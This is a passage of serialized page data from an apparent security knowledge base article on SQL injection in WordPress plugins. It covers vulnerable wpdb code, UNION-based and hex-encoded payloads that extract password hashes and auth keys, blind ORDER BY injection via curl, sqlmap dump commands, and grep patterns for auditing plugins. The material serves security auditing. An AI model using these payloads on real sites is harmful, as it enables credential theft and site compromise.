injection\n",[36,11953,11954,11956,11958,11960,11962,11964,11966,11968],{"class":38,"line":78},[36,11955,92],{"class":49},[36,11957,96],{"class":95},[36,11959,792],{"class":95},[36,11961,795],{"class":53},[36,11963,625],{"class":53},[36,11965,1911],{"class":605},[36,11967,631],{"class":53},[36,11969,155],{"class":95},[36,11971,11972,11974,11976],{"class":38,"line":83},[36,11973,3811],{"class":95},[36,11975,10575],{"class":53},[36,11977,155],{"class":95},[36,11979,11980,11982],{"class":38,"line":89},[36,11981,3811],{"class":95},[36,11983,11984],{"class":53}," \"search=notfound UNION SELECT user_login,user_pass FROM wp_users WHERE user_login=0x61646d696e-- -\"\n",[36,11986,11987],{"class":38,"line":115},[36,11988,61],{"emptyLinePlaceholder":60},[36,11990,11991],{"class":38,"line":133},[36,11992,11993],{"class":42},"# Hex-encoded table name and string\n",[36,11995,11996,11998,12000,12002,12004,12006,12008,12010],{"class":38,"line":138},[36,11997,92],{"class":49},[36,11999,96],{"class":95},[36,12001,792],{"class":95},[36,12003,795],{"class":53},[36,12005,625],{"class":53},[36,12007,1911],{"class":605},[36,12009,631],{"class":53},[36,12011,155],{"class":95},[36,12013,12014,12016,12018],{"class":38,"line":144},[36,12015,3811],{"class":95},[36,12017,10575],{"class":53},[36,12019,155],{"class":95},[36,12021,12022,12024],{"class":38,"line":158},[36,12023,3811],{"class":95},[36,12025,12026],{"class":53}," \"search=notfound UNION SELECT user_pass,2 FROM wp_users WHERE user_login=char(97,100,109,105,110)-- -\"\n",[18,12028,12030],{"id":12029},"wordpress-table-structures","WordPress Table Structures",[14,12032,12033],{},"Understanding the schema is essential for targeted extraction:",[684,12035,12036],{"id":12036},"wp_users",[26,12038,12042],{"className":12039,"code":12040,"language":12041,"meta":31,"style":31},"language-sql shiki shiki-themes github-light github-dark","-- Critical fields\nSELECT user_login, user_pass, user_email, user_registered FROM wp_users;\n\n-- user_pass format: $P$B... (phpass portable hash, MD5-based)\n-- or $wp$2y$... (bcrypt, WP 6.8+)\n-- Crackable with hashcat or john\n\n-- Example extraction\nUNION SELECT user_login, user_pass, user_email, user_registered, ID FROM wp_users-- -\n","sql",[33,12043,12044,12049,12054,12058,12063,12068,12073,12077,12082],{"__ignoreMap":31},[36,12045,12046],{"class":38,"line":39},[36,12047,12048],{},"-- Critical fields\n",[36,12050,12051],{"class":38,"line":46},[36,12052,12053],{},"SELECT user_login, user_pass, user_email, user_registered FROM wp_users;\n",[36,12055,12056],{"class":38,"line":57},[36,12057,61],{"emptyLinePlaceholder":60},[36,12059,12060],{"class":38,"line":64},[36,12061,12062],{},"-- user_pass format: $P$B... (phpass portable hash, MD5-based)\n",[36,12064,12065],{"class":38,"line":70},[36,12066,12067],{},"-- or $wp$2y$... (bcrypt, WP 6.8+)\n",[36,12069,12070],{"class":38,"line":78},[36,12071,12072],{},"-- Crackable with hashcat or john\n",[36,12074,12075],{"class":38,"line":83},[36,12076,61],{"emptyLinePlaceholder":60},[36,12078,12079],{"class":38,"line":89},[36,12080,12081],{},"-- Example extraction\n",[36,12083,12084],{"class":38,"line":115},[36,12085,12086],{},"UNION SELECT user_login, user_pass, user_email, user_registered, ID FROM wp_users-- -\n",[684,12088,5006],{"id":5006},[26,12090,12092],{"className":12039,"code":12091,"language":12041,"meta":31,"style":31},"-- Contains user roles and capabilities\nSELECT meta_key, meta_value FROM wp_usermeta \nWHERE user_id = 1 AND meta_key = 'wp_capabilities';\n-- Value: a:1:{s:13:\"administrator\";b:1;}\n\n-- Extract admin capabilities\nUNION SELECT user_id, meta_value FROM wp_usermeta \nWHERE meta_key = 'wp_capabilities' \nAND meta_value LIKE '%administrator%'-- -\n",[33,12093,12094,12099,12104,12109,12114,12118,12123,12128,12133],{"__ignoreMap":31},[36,12095,12096],{"class":38,"line":39},[36,12097,12098],{},"-- Contains user roles and capabilities\n",[36,12100,12101],{"class":38,"line":46},[36,12102,12103],{},"SELECT meta_key, meta_value FROM wp_usermeta \n",[36,12105,12106],{"class":38,"line":57},[36,12107,12108],{},"WHERE user_id = 1 AND meta_key = 'wp_capabilities';\n",[36,12110,12111],{"class":38,"line":64},[36,12112,12113],{},"-- Value: a:1:{s:13:\"administrator\";b:1;}\n",[36,12115,12116],{"class":38,"line":70},[36,12117,61],{"emptyLinePlaceholder":60},[36,12119,12120],{"class":38,"line":78},[36,12121,12122],{},"-- Extract admin capabilities\n",[36,12124,12125],{"class":38,"line":83},[36,12126,12127],{},"UNION SELECT user_id, meta_value FROM wp_usermeta \n",[36,12129,12130],{"class":38,"line":89},[36,12131,12132],{},"WHERE meta_key = 'wp_capabilities' \n",[36,12134,12135],{"class":38,"line":115},[36,12136,12137],{},"AND meta_value LIKE '%administrator%'-- -\n",[684,12139,12140],{"id":12140},"wp_options",[26,12142,12144],{"className":12039,"code":12143,"language":12041,"meta":31,"style":31},"-- Critical options\nSELECT option_name, option_value FROM wp_options \nWHERE option_name IN (\n    'siteurl',\n    'admin_email', \n    'auth_key',\n    'secure_auth_key',\n    'logged_in_key',\n    'auth_salt',\n    'secure_auth_salt',\n    'logged_in_salt',\n    'admin_user_id'\n);\n\n-- Option value extraction via injection\nUNION SELECT option_name, option_value FROM wp_options \nWHERE option_name = 0x617574685f6b6579-- - (hex for 'auth_key')\n",[33,12145,12146,12151,12156,12161,12166,12171,12176,12181,12186,12191,12196,12201,12206,12210,12214,12219,12224],{"__ignoreMap":31},[36,12147,12148],{"class":38,"line":39},[36,12149,12150],{},"-- Critical options\n",[36,12152,12153],{"class":38,"line":46},[36,12154,12155],{},"SELECT option_name, option_value FROM wp_options \n",[36,12157,12158],{"class":38,"line":57},[36,12159,12160],{},"WHERE option_name IN (\n",[36,12162,12163],{"class":38,"line":64},[36,12164,12165],{},"    'siteurl',\n",[36,12167,12168],{"class":38,"line":70},[36,12169,12170],{},"    'admin_email', \n",[36,12172,12173],{"class":38,"line":78},[36,12174,12175],{},"    'auth_key',\n",[36,12177,12178],{"class":38,"line":83},[36,12179,12180],{},"    'secure_auth_key',\n",[36,12182,12183],{"class":38,"line":89},[36,12184,12185],{},"    'logged_in_key',\n",[36,12187,12188],{"class":38,"line":115},[36,12189,12190],{},"    'auth_salt',\n",[36,12192,12193],{"class":38,"line":133},[36,12194,12195],{},"    'secure_auth_salt',\n",[36,12197,12198],{"class":38,"line":138},[36,12199,12200],{},"    'logged_in_salt',\n",[36,12202,12203],{"class":38,"line":144},[36,12204,12205],{},"    'admin_user_id'\n",[36,12207,12208],{"class":38,"line":158},[36,12209,9831],{},[36,12211,12212],{"class":38,"line":255},[36,12213,61],{"emptyLinePlaceholder":60},[36,12215,12216],{"class":38,"line":261},[36,12217,12218],{},"-- Option value extraction via injection\n",[36,12220,12221],{"class":38,"line":267},[36,12222,12223],{},"UNION SELECT option_name, option_value FROM wp_options \n",[36,12225,12226],{"class":38,"line":273},[36,12227,12228],{},"WHERE option_name = 0x617574685f6b6579-- - (hex for 'auth_key')\n",[684,12230,12231],{"id":12231},"wp_posts",[26,12233,12235],{"className":12039,"code":12234,"language":12041,"meta":31,"style":31},"-- Private\u002Fdraft content\nSELECT ID, post_title, post_content, post_status, post_author \nFROM wp_posts \nWHERE post_status IN ('private', 'draft', 'password');\n",[33,12236,12237,12242,12247,12252],{"__ignoreMap":31},[36,12238,12239],{"class":38,"line":39},[36,12240,12241],{},"-- Private\u002Fdraft content\n",[36,12243,12244],{"class":38,"line":46},[36,12245,12246],{},"SELECT ID, post_title, post_content, post_status, post_author \n",[36,12248,12249],{"class":38,"line":57},[36,12250,12251],{},"FROM wp_posts \n",[36,12253,12254],{"class":38,"line":64},[36,12255,12256],{},"WHERE post_status IN ('private', 'draft', 'password');\n",[18,12258,12260],{"id":12259},"order-by-injection","ORDER BY Injection",[14,12262,12263],{},"ORDER BY clauses are particularly vulnerable because they cannot use parameterized placeholders:",[26,12265,12267],{"className":177,"code":12266,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: Dynamic ORDER BY\n$order_by = $_GET['orderby'];\n$order    = $_GET['order']; \u002F\u002F Should be ASC or DESC only\n$results  = $wpdb->get_results(\n    $wpdb->prepare(\n        \"SELECT * FROM {$wpdb->posts} WHERE post_status = %s ORDER BY $order_by $order\",\n        'publish'\n    )\n);\n",[33,12268,12269,12274,12279,12284,12289,12293,12298,12303,12307],{"__ignoreMap":31},[36,12270,12271],{"class":38,"line":39},[36,12272,12273],{},"\u002F\u002F VULNERABLE: Dynamic ORDER BY\n",[36,12275,12276],{"class":38,"line":46},[36,12277,12278],{},"$order_by = $_GET['orderby'];\n",[36,12280,12281],{"class":38,"line":57},[36,12282,12283],{},"$order    = $_GET['order']; \u002F\u002F Should be ASC or DESC only\n",[36,12285,12286],{"class":38,"line":64},[36,12287,12288],{},"$results  = $wpdb->get_results(\n",[36,12290,12291],{"class":38,"line":70},[36,12292,9806],{},[36,12294,12295],{"class":38,"line":78},[36,12296,12297],{},"        \"SELECT * FROM {$wpdb->posts} WHERE post_status = %s ORDER BY $order_by $order\",\n",[36,12299,12300],{"class":38,"line":83},[36,12301,12302],{},"        'publish'\n",[36,12304,12305],{"class":38,"line":89},[36,12306,9826],{},[36,12308,12309],{"class":38,"line":115},[36,12310,9831],{},[26,12312,12314],{"className":28,"code":12313,"language":30,"meta":31,"style":31},"# Time-based blind via ORDER BY\ntime curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=post_date&order=ASC\"\ntime curl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=(CASE WHEN (1=1) THEN post_date ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order=\"\n\n# Boolean via ORDER BY with FIELD()\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=FIELD(post_author,1,2)&order=ASC\"\n\n# Data extraction via ORDER BY with IF\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=IF(1=1,post_date,post_title)&order=ASC\"\n",[33,12315,12316,12321,12330,12339,12343,12348,12357,12361,12366],{"__ignoreMap":31},[36,12317,12318],{"class":38,"line":39},[36,12319,12320],{"class":42},"# Time-based blind via ORDER BY\n",[36,12322,12323,12325,12327],{"class":38,"line":46},[36,12324,1115],{"class":102},[36,12326,1118],{"class":605},[36,12328,12329],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=post_date&order=ASC\"\n",[36,12331,12332,12334,12336],{"class":38,"line":57},[36,12333,1115],{"class":102},[36,12335,1118],{"class":605},[36,12337,12338],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=(CASE WHEN (1=1) THEN post_date ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order=\"\n",[36,12340,12341],{"class":38,"line":64},[36,12342,61],{"emptyLinePlaceholder":60},[36,12344,12345],{"class":38,"line":70},[36,12346,12347],{"class":42},"# Boolean via ORDER BY with FIELD()\n",[36,12349,12350,12352,12354],{"class":38,"line":78},[36,12351,92],{"class":49},[36,12353,96],{"class":95},[36,12355,12356],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=FIELD(post_author,1,2)&order=ASC\"\n",[36,12358,12359],{"class":38,"line":83},[36,12360,61],{"emptyLinePlaceholder":60},[36,12362,12363],{"class":38,"line":89},[36,12364,12365],{"class":42},"# Data extraction via ORDER BY with IF\n",[36,12367,12368,12370,12372],{"class":38,"line":115},[36,12369,92],{"class":49},[36,12371,96],{"class":95},[36,12373,12374],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fpage\u002F?orderby=IF(1=1,post_date,post_title)&order=ASC\"\n",[18,12376,12378],{"id":12377},"wpdb-error-output-leakage","wpdb Error Output Leakage",[14,12380,12381,12382,12385,12386,375],{},"When ",[33,12383,12384],{},"WP_DEBUG"," is enabled or the plugin outputs ",[33,12387,12388],{},"$wpdb->last_error",[26,12390,12392],{"className":177,"code":12391,"language":179,"meta":31,"style":31},"\u002F\u002F Some plugins helpfully show errors\n$result = $wpdb->get_results( $query );\nif ( $wpdb->last_error ) {\n    echo 'Query error: ' . $wpdb->last_error; \u002F\u002F Error-based SQLi goldmine\n}\n",[33,12393,12394,12399,12404,12409,12414],{"__ignoreMap":31},[36,12395,12396],{"class":38,"line":39},[36,12397,12398],{},"\u002F\u002F Some plugins helpfully show errors\n",[36,12400,12401],{"class":38,"line":46},[36,12402,12403],{},"$result = $wpdb->get_results( $query );\n",[36,12405,12406],{"class":38,"line":57},[36,12407,12408],{},"if ( $wpdb->last_error ) {\n",[36,12410,12411],{"class":38,"line":64},[36,12412,12413],{},"    echo 'Query error: ' . $wpdb->last_error; \u002F\u002F Error-based SQLi goldmine\n",[36,12415,12416],{"class":38,"line":70},[36,12417,323],{},[26,12419,12421],{"className":28,"code":12420,"language":30,"meta":31,"style":31},"# Check if database errors are visible\ncurl -s -X POST \"$TARGET\" \\\n  --data-urlencode \"action=vulnerable_action\" \\\n  --data-urlencode \"id=1'\" | grep -i \"mysql\\|you have an error\\|sql syntax\"\n",[33,12422,12423,12428,12446,12454],{"__ignoreMap":31},[36,12424,12425],{"class":38,"line":39},[36,12426,12427],{"class":42},"# Check if database errors are visible\n",[36,12429,12430,12432,12434,12436,12438,12440,12442,12444],{"class":38,"line":46},[36,12431,92],{"class":49},[36,12433,96],{"class":95},[36,12435,792],{"class":95},[36,12437,795],{"class":53},[36,12439,625],{"class":53},[36,12441,1911],{"class":605},[36,12443,631],{"class":53},[36,12445,155],{"class":95},[36,12447,12448,12450,12452],{"class":38,"line":57},[36,12449,3811],{"class":95},[36,12451,10575],{"class":53},[36,12453,155],{"class":95},[36,12455,12456,12458,12461,12463,12465,12468],{"class":38,"line":64},[36,12457,3811],{"class":95},[36,12459,12460],{"class":53}," \"id=1'\"",[36,12462,103],{"class":102},[36,12464,617],{"class":49},[36,12466,12467],{"class":95}," -i",[36,12469,12470],{"class":53}," \"mysql\\|you have an error\\|sql syntax\"\n",[18,12472,12474],{"id":12473},"practical-sqli-checklist-for-wordpress-plugins","Practical SQLi Checklist for WordPress Plugins",[26,12476,12478],{"className":28,"code":12477,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# 1. Find all database query calls\ngrep -rn \"\\$wpdb->\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep \"get_results\\|get_row\\|get_var\\|get_col\\|query\\|insert\\|update\\|delete\" > \u002Ftmp\u002Fdb_calls.txt\n\n# 2. Find calls with direct user input (no prepare)\ngrep -rP '\\$wpdb->(get_results|get_row|query|get_var)\\s*\\([^;]*\\$_(POST|GET|REQUEST|COOKIE)' \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# 3. Find prepare() calls with interpolation (partial protection)\ngrep -rn \"prepare\" \"$PLUGIN_DIR\" --include=\"*.php\" -A3 | grep \"\\$_\\|->get_param\\|->get_var\"\n\n# 4. Find ORDER BY \u002F LIMIT with user input\ngrep -rn \"ORDER BY\\|LIMIT\\|GROUP BY\" \"$PLUGIN_DIR\" --include=\"*.php\" | \\\n  grep -v \"\u002F\u002F\\|#\\|\\*\" | grep \"\\$\"\n\n# 5. Find esc_sql usage (might be incomplete protection)\ngrep -rn \"esc_sql\\b\" \"$PLUGIN_DIR\" --include=\"*.php\" -B3 -A3\n\n# 6. Trace user input from source to sink\ngrep -rn \"sanitize_text_field\\|sanitize_key\\|intval\\|absint\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" | head -20\n",[33,12479,12480,12488,12492,12497,12523,12535,12539,12544,12555,12569,12573,12578,12610,12614,12619,12642,12661,12665,12670,12694,12698,12703,12714],{"__ignoreMap":31},[36,12481,12482,12484,12486],{"class":38,"line":39},[36,12483,2415],{"class":605},[36,12485,1220],{"class":102},[36,12487,2420],{"class":53},[36,12489,12490],{"class":38,"line":46},[36,12491,61],{"emptyLinePlaceholder":60},[36,12493,12494],{"class":38,"line":57},[36,12495,12496],{"class":42},"# 1. Find all database query calls\n",[36,12498,12499,12501,12503,12505,12507,12509,12511,12513,12515,12517,12519,12521],{"class":38,"line":64},[36,12500,490],{"class":49},[36,12502,493],{"class":95},[36,12504,625],{"class":53},[36,12506,4591],{"class":95},[36,12508,10421],{"class":53},[36,12510,625],{"class":53},[36,12512,2442],{"class":605},[36,12514,631],{"class":53},[36,12516,502],{"class":95},[36,12518,540],{"class":53},[36,12520,103],{"class":102},[36,12522,155],{"class":95},[36,12524,12525,12527,12530,12532],{"class":38,"line":70},[36,12526,552],{"class":49},[36,12528,12529],{"class":53}," \"get_results\\|get_row\\|get_var\\|get_col\\|query\\|insert\\|update\\|delete\"",[36,12531,6391],{"class":102},[36,12533,12534],{"class":53}," \u002Ftmp\u002Fdb_calls.txt\n",[36,12536,12537],{"class":38,"line":78},[36,12538,61],{"emptyLinePlaceholder":60},[36,12540,12541],{"class":38,"line":83},[36,12542,12543],{"class":42},"# 2. Find calls with direct user input (no prepare)\n",[36,12545,12546,12548,12550,12553],{"class":38,"line":89},[36,12547,490],{"class":49},[36,12549,574],{"class":95},[36,12551,12552],{"class":53}," '\\$wpdb->(get_results|get_row|query|get_var)\\s*\\([^;]*\\$_(POST|GET|REQUEST|COOKIE)'",[36,12554,155],{"class":95},[36,12556,12557,12559,12561,12563,12565,12567],{"class":38,"line":115},[36,12558,3113],{"class":53},[36,12560,2442],{"class":605},[36,12562,631],{"class":53},[36,12564,502],{"class":95},[36,12566,540],{"class":53},[36,12568,2906],{"class":95},[36,12570,12571],{"class":38,"line":133},[36,12572,61],{"emptyLinePlaceholder":60},[36,12574,12575],{"class":38,"line":138},[36,12576,12577],{"class":42},"# 3. Find prepare() calls with interpolation (partial protection)\n",[36,12579,12580,12582,12584,12587,12589,12591,12593,12595,12597,12599,12601,12603,12605,12607],{"class":38,"line":144},[36,12581,490],{"class":49},[36,12583,493],{"class":95},[36,12585,12586],{"class":53}," \"prepare\"",[36,12588,625],{"class":53},[36,12590,2442],{"class":605},[36,12592,631],{"class":53},[36,12594,502],{"class":95},[36,12596,540],{"class":53},[36,12598,10160],{"class":95},[36,12600,103],{"class":102},[36,12602,617],{"class":49},[36,12604,625],{"class":53},[36,12606,4591],{"class":95},[36,12608,12609],{"class":53},"_\\|->get_param\\|->get_var\"\n",[36,12611,12612],{"class":38,"line":158},[36,12613,61],{"emptyLinePlaceholder":60},[36,12615,12616],{"class":38,"line":255},[36,12617,12618],{"class":42},"# 4. Find ORDER BY \u002F LIMIT with user input\n",[36,12620,12621,12623,12625,12628,12630,12632,12634,12636,12638,12640],{"class":38,"line":261},[36,12622,490],{"class":49},[36,12624,493],{"class":95},[36,12626,12627],{"class":53}," \"ORDER BY\\|LIMIT\\|GROUP BY\"",[36,12629,625],{"class":53},[36,12631,2442],{"class":605},[36,12633,631],{"class":53},[36,12635,502],{"class":95},[36,12637,540],{"class":53},[36,12639,103],{"class":102},[36,12641,155],{"class":95},[36,12643,12644,12646,12648,12651,12653,12655,12657,12659],{"class":38,"line":267},[36,12645,552],{"class":49},[36,12647,555],{"class":95},[36,12649,12650],{"class":53}," \"\u002F\u002F\\|#\\|\\*\"",[36,12652,103],{"class":102},[36,12654,617],{"class":49},[36,12656,625],{"class":53},[36,12658,4591],{"class":95},[36,12660,668],{"class":53},[36,12662,12663],{"class":38,"line":273},[36,12664,61],{"emptyLinePlaceholder":60},[36,12666,12667],{"class":38,"line":279},[36,12668,12669],{"class":42},"# 5. Find esc_sql usage (might be incomplete protection)\n",[36,12671,12672,12674,12676,12679,12681,12683,12685,12687,12689,12692],{"class":38,"line":285},[36,12673,490],{"class":49},[36,12675,493],{"class":95},[36,12677,12678],{"class":53}," \"esc_sql\\b\"",[36,12680,625],{"class":53},[36,12682,2442],{"class":605},[36,12684,631],{"class":53},[36,12686,502],{"class":95},[36,12688,540],{"class":53},[36,12690,12691],{"class":95}," -B3",[36,12693,2603],{"class":95},[36,12695,12696],{"class":38,"line":291},[36,12697,61],{"emptyLinePlaceholder":60},[36,12699,12700],{"class":38,"line":297},[36,12701,12702],{"class":42},"# 6. Trace user input from source to sink\n",[36,12704,12705,12707,12709,12712],{"class":38,"line":303},[36,12706,490],{"class":49},[36,12708,493],{"class":95},[36,12710,12711],{"class":53}," \"sanitize_text_field\\|sanitize_key\\|intval\\|absint\"",[36,12713,155],{"class":95},[36,12715,12716,12718,12720,12722,12724,12726,12728,12730],{"class":38,"line":308},[36,12717,3113],{"class":53},[36,12719,2442],{"class":605},[36,12721,631],{"class":53},[36,12723,502],{"class":95},[36,12725,540],{"class":53},[36,12727,103],{"class":102},[36,12729,5296],{"class":49},[36,12731,7237],{"class":95},[18,12733,12735],{"id":12734},"automating-with-sqlmap-against-wordpress-ajax","Automating with SQLMap Against WordPress AJAX",[26,12737,12739],{"className":28,"code":12738,"language":30,"meta":31,"style":31},"# SQLMap against an AJAX endpoint\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  --data \"action=vulnerable_action&id=1\" \\\n  -p \"id\" \\\n  --dbms=mysql \\\n  --level=3 \\\n  --risk=2 \\\n  --technique=BEUST \\\n  --tables\n\n# With cookie authentication\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  --data \"action=vulnerable_action&id=1\" \\\n  --cookie \"wordpress_logged_in_xxx=...; wordpress_test_cookie=WP+Cookie+check\" \\\n  -p \"id\" \\\n  --dbms=mysql \\\n  --dump -T wp_users\n\n# Test REST API parameter\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fplugin\u002Fv1\u002Fsearch?term=test\" \\\n  -p \"term\" \\\n  --dbms=mysql \\\n  --technique=BT \\\n  --level=5\n",[33,12740,12741,12746,12758,12768,12778,12785,12792,12799,12806,12811,12815,12820,12830,12838,12848,12856,12862,12873,12877,12882,12893,12902,12908,12915],{"__ignoreMap":31},[36,12742,12743],{"class":38,"line":39},[36,12744,12745],{"class":42},"# SQLMap against an AJAX endpoint\n",[36,12747,12748,12751,12753,12756],{"class":38,"line":46},[36,12749,12750],{"class":49},"sqlmap",[36,12752,467],{"class":95},[36,12754,12755],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\"",[36,12757,155],{"class":95},[36,12759,12760,12763,12766],{"class":38,"line":57},[36,12761,12762],{"class":95},"  --data",[36,12764,12765],{"class":53}," \"action=vulnerable_action&id=1\"",[36,12767,155],{"class":95},[36,12769,12770,12773,12776],{"class":38,"line":64},[36,12771,12772],{"class":95},"  -p",[36,12774,12775],{"class":53}," \"id\"",[36,12777,155],{"class":95},[36,12779,12780,12783],{"class":38,"line":70},[36,12781,12782],{"class":95},"  --dbms=mysql",[36,12784,155],{"class":95},[36,12786,12787,12790],{"class":38,"line":78},[36,12788,12789],{"class":95},"  --level=3",[36,12791,155],{"class":95},[36,12793,12794,12797],{"class":38,"line":83},[36,12795,12796],{"class":95},"  --risk=2",[36,12798,155],{"class":95},[36,12800,12801,12804],{"class":38,"line":89},[36,12802,12803],{"class":95},"  --technique=BEUST",[36,12805,155],{"class":95},[36,12807,12808],{"class":38,"line":115},[36,12809,12810],{"class":95},"  --tables\n",[36,12812,12813],{"class":38,"line":133},[36,12814,61],{"emptyLinePlaceholder":60},[36,12816,12817],{"class":38,"line":138},[36,12818,12819],{"class":42},"# With cookie authentication\n",[36,12821,12822,12824,12826,12828],{"class":38,"line":144},[36,12823,12750],{"class":49},[36,12825,467],{"class":95},[36,12827,12755],{"class":53},[36,12829,155],{"class":95},[36,12831,12832,12834,12836],{"class":38,"line":158},[36,12833,12762],{"class":95},[36,12835,12765],{"class":53},[36,12837,155],{"class":95},[36,12839,12840,12843,12846],{"class":38,"line":255},[36,12841,12842],{"class":95},"  --cookie",[36,12844,12845],{"class":53}," \"wordpress_logged_in_xxx=...; wordpress_test_cookie=WP+Cookie+check\"",[36,12847,155],{"class":95},[36,12849,12850,12852,12854],{"class":38,"line":261},[36,12851,12772],{"class":95},[36,12853,12775],{"class":53},[36,12855,155],{"class":95},[36,12857,12858,12860],{"class":38,"line":267},[36,12859,12782],{"class":95},[36,12861,155],{"class":95},[36,12863,12864,12867,12870],{"class":38,"line":273},[36,12865,12866],{"class":95},"  --dump",[36,12868,12869],{"class":95}," -T",[36,12871,12872],{"class":53}," wp_users\n",[36,12874,12875],{"class":38,"line":279},[36,12876,61],{"emptyLinePlaceholder":60},[36,12878,12879],{"class":38,"line":285},[36,12880,12881],{"class":42},"# Test REST API parameter\n",[36,12883,12884,12886,12888,12891],{"class":38,"line":291},[36,12885,12750],{"class":49},[36,12887,467],{"class":95},[36,12889,12890],{"class":53}," \"https:\u002F\u002Ftarget.example.com\u002Fwp-json\u002Fplugin\u002Fv1\u002Fsearch?term=test\"",[36,12892,155],{"class":95},[36,12894,12895,12897,12900],{"class":38,"line":297},[36,12896,12772],{"class":95},[36,12898,12899],{"class":53}," \"term\"",[36,12901,155],{"class":95},[36,12903,12904,12906],{"class":38,"line":303},[36,12905,12782],{"class":95},[36,12907,155],{"class":95},[36,12909,12910,12913],{"class":38,"line":308},[36,12911,12912],{"class":95},"  --technique=BT",[36,12914,155],{"class":95},[36,12916,12917],{"class":38,"line":314},[36,12918,12919],{"class":95},"  --level=5\n",[2645,12921,12922],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":31,"searchDepth":46,"depth":46,"links":12924},[12925,12926,12931,12932,12937,12938,12939,12940,12941,12942,12948,12949,12950,12951],{"id":9638,"depth":46,"text":9639},{"id":9761,"depth":46,"text":12927,"children":12928},"wpdb->prepare(): Correct vs Incorrect Usage",[12929,12930],{"id":9785,"depth":57,"text":9786},{"id":9909,"depth":57,"text":9910},{"id":10092,"depth":46,"text":10093},{"id":10465,"depth":46,"text":10466,"children":12933},[12934,12935,12936],{"id":10472,"depth":57,"text":10473},{"id":10659,"depth":57,"text":10660},{"id":10760,"depth":57,"text":10761},{"id":10933,"depth":46,"text":10934},{"id":11067,"depth":46,"text":11068},{"id":11394,"depth":46,"text":11395},{"id":11811,"depth":46,"text":11812},{"id":11913,"depth":46,"text":11914},{"id":12029,"depth":46,"text":12030,"children":12943},[12944,12945,12946,12947],{"id":12036,"depth":57,"text":12036},{"id":5006,"depth":57,"text":5006},{"id":12140,"depth":57,"text":12140},{"id":12231,"depth":57,"text":12231},{"id":12259,"depth":46,"text":12260},{"id":12377,"depth":46,"text":12378},{"id":12473,"depth":46,"text":12474},{"id":12734,"depth":46,"text":12735},"vulnerability-types","wpdb->prepare() usage, extraction techniques, WordPress table structures, and grep patterns for finding SQL injection vulnerabilities",{},"\u002Fknowledge-base\u002Fwordpress-sql-injection-patterns",{"title":9623,"description":12953},"knowledge-base\u002Fwordpress-sql-injection-patterns","AyikJbxTDxzLENEVNnrX8T9zVlHmYdu2yMByXYwOnF0",{"id":12960,"title":12961,"body":12962,"category":12952,"description":15461,"extension":2673,"meta":15462,"navigation":60,"order":70,"path":15463,"seo":15464,"stem":15465,"__hash__":15466},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-authentication-and-privilege-escalation.md","WordPress Authentication and Privilege Escalation",{"type":7,"value":12963,"toc":15439},[12964,12967,12970,12974,12977,13065,13071,13077,13094,13098,13156,13170,13213,13217,13220,13237,13247,13253,13266,13342,13346,13350,13353,13397,13399,13461,13516,13520,13523,13585,13588,13659,13663,13712,13715,13719,13767,13773,13845,13849,13913,13937,13941,13994,13997,14070,14074,14141,14255,14259,14263,14321,14520,14524,14527,14531,14899,14903,14912,14972,14974,15015,15019,15022,15122,15126,15436],[10,12965,12961],{"id":12966},"wordpress-authentication-and-privilege-escalation",[14,12968,12969],{},"Privilege escalation vulnerabilities allow lower-privileged users to gain higher capabilities, often resulting in complete site compromise. WordPress's role-based capability system, when incorrectly implemented by plugins, creates numerous attack paths.",[18,12971,12973],{"id":12972},"wordpress-user-roles-and-capabilities","WordPress User Roles and Capabilities",[14,12975,12976],{},"WordPress ships with five default roles, each with a set of capabilities:",[4440,12978,12979,12989],{},[4443,12980,12981],{},[4446,12982,12983,12986],{},[4449,12984,12985],{},"Role",[4449,12987,12988],{},"Key 